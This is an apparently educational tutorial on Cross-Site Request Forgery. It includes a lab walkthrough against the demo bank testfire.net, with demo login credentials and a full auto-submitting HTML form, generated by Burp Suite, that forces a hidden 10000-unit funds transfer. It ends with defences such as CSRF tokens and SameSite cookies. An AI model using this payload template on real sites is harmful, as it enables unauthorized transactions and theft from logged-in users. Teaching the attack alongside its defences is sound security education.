**Note: The content in this article is only for educational purposes and understanding of cybersecurity concepts. It should enable people and organizations to have a better grip on threats and know how to protect themselves against them. Please use this information responsibly.**
Cross-Site Request Forgery (CSRF) poses a serious threat to web security. It allows bad actors to trick users into taking actions they did not intend on sites where they have already logged in. This attack takes advantage of how web apps trust a user’s browser. When you sign into a website, your browser keeps session cookies or login tokens. These let you use the site without having to log in repeatedly. CSRF attackers exploit this setup. They create harmful requests that look like they are coming from the genuine user.
At its heart, a CSRF attack happens when a hacker tricks someone into sending a request to a website without their knowledge. The hacker can do this in many ways, like hiding bad links in emails, comments, or even on hacked websites. When the user who’s already logged into the target site clicks on the bad content—say, by tapping a link—the hacker’s made-up request goes straight to the web server. Since the user’s browser has the correct session cookies, the server thinks the request is genuine and does what it asks without checking if the person meant to do it.
For a CSRF attack to succeed, these conditions must be met:
- Relevant Action: The application must have actions that the attacker can induce, like modifying user permissions or changing passwords.
- Cookie-based Sessions: The application solely relies on session cookies to identify users, lacking additional checks or tokens for request validation.
- Predictable Parameters: Requests must not include parameters whose values are unpredictable to the attacker, such as needing knowledge of the current password to change it.
Walkthrough
In this walkthrough, we demonstrate a CSRF attack on a mock banking site, testfire.net, where we would manipulate a fund transfer request to initiate an unauthorized transaction from the victim’s account to the attacker’s account. By crafting a malicious HTML form with hidden parameters and auto-submission, we would illustrate how attackers could trick users into executing harmful actions without their knowledge.
Target site: testfire.net
- Log into the application. Use
Username: jsmith
Password: Demo1234
- Go to Transfer Funds on the left panel
- Capture or intercept the request of transferring money in the burp Suite.
- Right click on the request. Click on Engagement tools. Click on Generate CSRF PoC.
- In this, enable the option to include an auto-submit script and click “Regenerate”.
Here, you can modify the value to any amount you want to withdraw from the victim’s account.
- As the victim is already logged in to the site, an attacker can exploit this by sending a carefully crafted malicious form or URL to the victim via email, text, or other means.
<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<form action=”http://testfire.net/bank/doTransfer” method=”POST”>
<input type=”hidden” name=”fromAccount” value=”800003″ />
<input type=”hidden” name=”toAccount” value=”800002″ />
<input type=”hidden” name=”transferAmount” value=”10000″ />
<input type=”hidden” name=”transfer” value=”Transfer Money” />
<input type=”submit” value=”Submit request” />
</form>
<script>
history.pushState(”, ”, ‘/’);
document.forms[0].submit();
</script>
</body>
</html>
Here’s a summary of how it works:
The form submits a POST request to http://testfire.net/bank/doTransfer, which simulates a bank’s money transfer endpoint.
Hidden input fields are used to specify the transaction details:
- fromAccount=”800003″: The source account (attacker sets this to the victim’s account).
- toAccount=”800002″: The destination account (likely the attacker’s account).
- transferAmount=”10000″: The amount to transfer (10,000 units).
- transfer=”Transfer Money”: The action button for submitting the form (disguised).
A submit button is also included, but it is not meant to be manually clicked.
JavaScript:
- history.pushState(”, ”, ‘/’);: This command alters the browser’s history, removing the URL path to make it less noticeable to the user.
- document.forms[0].submit();: This JavaScript code automatically submits the form once the page loads, without any user interaction.
- Now, once the victim’s browser loads this code, the amount will automatically be transferred from the victim to the attacker’s account.
You can see that in View Recent Transactions on the left panel.
Successfully exploiting CSRF vulnerabilities today often requires bypassing defences implemented by the target website or the victim’s browser. Common defences include:
- CSRF tokens: Unique, secret values generated on the server side and shared with the client to validate requests. This makes it challenging for attackers to forge valid requests.
- SameSite cookies: Browser mechanism limiting when cookies are sent in cross-site requests. Enforced by default in Chrome since 2021, it restricts cookies from being sent in third-party contexts, thus mitigating CSRF risks.
- Referer-based validation: Some applications use the HTTP Referer header to verify requests originate from their own domain, but it is usually less reliable than CSRF tokens.
Conclusion
Cross-Site Request Forgery (CSRF) continues to pose a serious danger to web applications that don’t have strong request validation systems in place. CSRF takes advantage of the trust a website puts in the user’s browser. It does this by manipulating valid sessions to carry out actions the user didn’t intend. But there are ways to fight back. Using CSRF tokens, SameSite cookies, and checks based on the referer header can cut down these risks a lot. When developers understand how CSRF attacks work and put in place several layers of security, they can do a better job of keeping users safe from actions they didn’t approve. This also helps keep their applications running as they should.
